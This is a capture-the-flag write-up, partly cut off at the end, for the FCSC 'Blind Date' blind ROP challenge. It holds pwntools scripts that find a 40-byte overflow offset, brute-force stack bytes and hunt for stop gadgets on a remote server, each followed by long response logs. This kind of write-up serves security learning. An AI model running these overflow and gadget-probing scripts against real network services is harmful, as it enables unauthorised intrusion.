Blind Date (489 pts)
Une société souhaite créer un service en ligne protégeant les informations de ses clients. Pouvez-vous leur montrer qu’elle n’est pas sûre en lisant le fichier flag.txt sur leur serveur ? Les gérants de cette société n’ont pas souhaité vous donner ni le code source de leur solution, ni le binaire compilé, mais ils vous proposent uniquement un accès distant à leur service.
nc challenges2.france-cybersecurity-challenge.fr 4008
Blind Date is a blind rop challenge I did during the FCSC event. So, no source code is provided, we juste have a netcat to which we can interact.
To solve this challenge I juste read carefully this paper and applied one per one the techniques described.
Find the right offset
The first thing to do is to find from which offset the binary crashes, to do so I developped a small script:
#!/usr/bin/python3from pwn import *
def start(): return remote("challenges2.france-cybersecurity-challenge.fr", 4008)
def jmp(av): io = start() io.write(av) return io.recvall(timeout=5.0)
def find_padding(p=b""): padding = p + b"\x90" print(f"[*] sending: {padding}") resp = jmp(padding) print(f"[*] recv: {resp}") while b"Hello you.\nWhat is your name ?\n>>> Thanks " + padding in resp: return find_padding(p=padding) return padding[:len(padding)-1] # minus one char because we do not want that padding overwrite the return address / canary / triggering a crash
print(len(find_padding()))It’s basically sending checking if the right string is always received, and when it’s not the case it assumes the remote program crashed and return the corresponding padding. We do not check to see if it prints Bye! right after the Thanks input because it sounds to be a puts which prints NULL byte terminated strings which makes that we can overlap some local pointers and print them like below:
$ ./solve.py[*] sending: b'\x90'[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90Bye!\n'[*] sending: b'\x90\x90'[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90Bye!\n'[*] sending: b'\x90\x90\x90'[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90Bye!\n'[*] sending: b'\x90\x90\x90\x90'[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90Bye!\n'[*] sending: b'\x90\x90\x90\x90\x90'[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90Bye!\n'[*] sending: b'\x90\x90\x90\x90\x90\x90'[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90Bye!\n'[*] sending: b'\x90\x90\x90\x90\x90\x90\x90'[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90Bye!\n'[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90'[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x907:EL\xd3\x7fBye!\n'[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90'[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\xda5r^\x7fBye!\n'[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'[*] recv: b"Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'\xad\xe9\x7fBye!\n"[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xd6\x97\x7fBye!\n'[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xc1\x7fBye!\n'[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x7fBye!\n'[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90Bye!\n'[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90Bye!\n'[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90Bye!\n'[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90Bye!\n'[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90Bye!\n'[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90Bye!\n'[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90Bye!\n'[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90Bye!\n'[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90Bye!\n'[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90Bye!\n'[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xc0\xe3\xb0\xff\xff\x7fBye!\n'[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xc6\x15\x12\xfc\x7fBye!\n'[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x05\x1e\xfc\x7fBye!\n'[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9a\xfe\x7fBye!\n'[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xfd\x7fBye!\n'[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x7fBye!\n'[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90Bye!\n'[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90Bye!\n'[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xe0\xa8\x8bn\xfd\x7fBye!\n'[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x7f\xc6\xd8\xfe\x7fBye!\n'[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xcd\n\xfd\x7fBye!\n'[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x97\xfd\x7fBye!\n'[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xfe\x7fBye!\n'[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x7fBye!\n'[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90Bye!\n'[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90Bye!\n'[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'[*] recv: b'Hello you.\nWhat is your name ?\n>>> Thanks \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xcc\x06@Bye!\n'[*] sending: b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'[*] recv: b'Hello you.\nWhat is your name ?\n>>> '40So now we know that we need 40 bytes of padding before the crash.
Stack reading
Stack reading is just basically a bruteforce of some bytes to trigger the orginal behaviour of the program. It permits especially to leak a stack canary or some saved instruction pointers. But I directly tried to find some stop gadgets, to do so, I’m looking for something in the response. And the best stop gadget would be a unique pattern.
I developped this small function:
def try_jmp(s): while True: try: io = start() io.write(s) resp = io.recv(500, timeout=30.0)[35:] break except: print(f"STOP: {sys.exc_info()[0]}") resp = -1 break
return resp
def leak2(padding: str, leak1=b""): for i in range(256): buf = padding + leak1 + p8(i) resp = try_jmp(buf) # print(f"Trying on {hex(int.from_bytes(leak1+p8(i), 'little') << (64 - counter*8))}") if len(resp): print(f"[{hex(int.from_bytes(padd(leak1+p8(i)), 'little'))}] Output: {resp}") if len(leak1) < 8: leak2(padding, leak1=leak1+p8(i)) else: return leak1 continue
return leak1
leak2(b"a"*40)Which returns:
$ ./solve.py[0x5] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x05\x06@'[0x605] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x05\x06@'[0x400605] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x05\x06@'[0x400605] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x05\x06@'[0x400605] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x05\x06@'[0x1a] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x1a\x06@'[0x61a] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x1a\x06@'[0x40061a] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x1a\x06@'[0x40061a] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x1a\x06@'[0x1b] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x1b\x06@'[0x61b] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x1b\x06@'[0x40061b] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x1b\x06@'[0x40061b] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x1b\x06@'[0x40061b] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x1b\x06@'[0x40061b] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x1b\x06@'[0x1d] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x1d\x06@'[0x61d] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x1d\x06@'[0x40061d] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x1d\x06@'[0x40061d] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x1d\x06@'STOP: <class 'KeyboardInterrupt'>I stopped the script because it’s very long by it’s already interesting to see that it seems we overwrite directly the return address, which means there is no canary. Morevever according to the addresses of the valid gadgets we found, the binary is not PIE based and it sounds to be a x86 binary.
Stop gadget
We can optimize the search of stop gadgets by bruteforcing only the two less significant bytes about the base address: 0x400000, which gives this:
def try_jmp(s): while True: try: io = start() io.write(s) resp = io.recv(500, timeout=30.0)[35:] break except: print(f"STOP: {sys.exc_info()[0]}") resp = -1 break
return resp
def leak2_opti(padding: str): base = 0x400000
for i in range(0x2000): buf = padding + p64(base+i) resp = try_jmp(buf) # print(f"Trying on {hex(int.from_bytes(leak1+p8(i), 'little') << (64 - counter*8))}") if len(resp): print(f"[{hex(base+i)}] Output: {resp}") continue
return leak1
leak2(b"a"*40)Which prints:
$ ./solve.py[0x4004cc] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xcc\x04@'[0x4004cd] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xcd\x04@'[0x4004dd] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xdd\x04@'[0x400550] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaP\x05@'[0x400560] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa`\x05@Hello you.\nWhat is your name ?\n>>> '[0x400562] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab\x05@Hello you.\nWhat is your name ?\n>>> '[0x400563] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaac\x05@Hello you.\nWhat is your name ?\n>>> '[0x400565] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaae\x05@Hello you.\nWhat is your name ?\n>>> '[0x400566] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaf\x05@Hello you.\nWhat is your name ?\n>>> '[0x400567] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag\x05@Hello you.\nWhat is your name ?\n>>> '[0x400569] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaai\x05@Hello you.\nWhat is your name ?\n>>> '[0x40056d] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaam\x05@Hello you.\nWhat is your name ?\n>>> '[0x40056e] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaan\x05@Hello you.\nWhat is your name ?\n>>> '[0x40056f] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaao\x05@Hello you.\nWhat is your name ?\n>>> '[0x400570] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaap\x05@Hello you.\nWhat is your name ?\n>>> '[0x400576] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaav\x05@Hello you.\nWhat is your name ?\n>>> '[0x400577] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaw\x05@Hello you.\nWhat is your name ?\n>>> '[0x400596] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x96\x05@'[0x400597] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x97\x05@'[0x40059c] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x9c\x05@'[0x40059d] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x9d\x05@'[0x4005a0] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xa0\x05@'[0x4005a1] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xa1\x05@'[0x4005a3] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xa3\x05@'[0x4005a5] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xa5\x05@'[0x4005b4] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xb4\x05@'[0x4005b7] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xb7\x05@'[0x4005b8] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xb8\x05@'[0x4005c0] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xc0\x05@'[0x4005d6] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xd6\x05@'[0x4005d7] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xd7\x05@'[0x4005dd] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xdd\x05@'[0x4005de] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xde\x05@'[0x4005e1] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe1\x05@'[0x4005e2] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe2\x05@'[0x4005e4] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe4\x05@'[0x4005e5] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe5\x05@'[0x4005e7] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe7\x05@'[0x4005e8] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe8\x05@'[0x4005eb] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xeb\x05@'[0x4005ec] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xec\x05@'[0x4005ee] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xee\x05@'[0x4005ef] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xef\x05@'[0x4005f1] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xf1\x05@'[0x4005f3] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xf3\x05@'[0x400605] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x05\x06@'[0x400608] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x08\x06@'[0x40061a] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x1a\x06@'[0x40061b] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x1b\x06@'[0x40061d] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x1d\x06@'[0x400622] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"\x06@'[0x400650] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaP\x06@'[0x400656] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaV\x06@What is your name ?\n>>> '[0x400657] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaW\x06@What is your name ?\n>>> '[0x400658] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaX\x06@What is your name ?\n>>> '[0x40065a] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaZ\x06@What is your name ?\n>>> '[0x40065e] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa^\x06@What is your name ?\n>>> '[0x400663] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaac\x06@\x84(\xad\xfb\n>>> '[0x400668] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaah\x06@>>> '[0x40066d] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaam\x06@\x84(\xad\xfb'[0x400672] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaar\x06@\x84(\xad\xfb'[0x400677] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaw\x06@'[0x400681] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x81\x06@'[0x4006b4] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xb4\x06@Hello you.\nWhat is your name ?\n>>> '[0x4006b5] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xb5\x06@Hello you.\nWhat is your name ?\n>>> '[0x4006b6] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xb6\x06@Hello you.\nWhat is your name ?\n>>> '[0x4006b8] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xb8\x06@Hello you.\nWhat is your name ?\n>>> '[0x4006bd] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xbd\x06@\x84(\xad\xfb\nWhat is your name ?\n>>> '[0x4006c2] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xc2\x06@What is your name ?\n>>> '[0x4006c7] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xc7\x06@What is your name ?\n>>> '[0x4006cc] Output: b'Thanks aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xcc\x06@Bye!\n'[0x4006d1] Output: b'Thanks 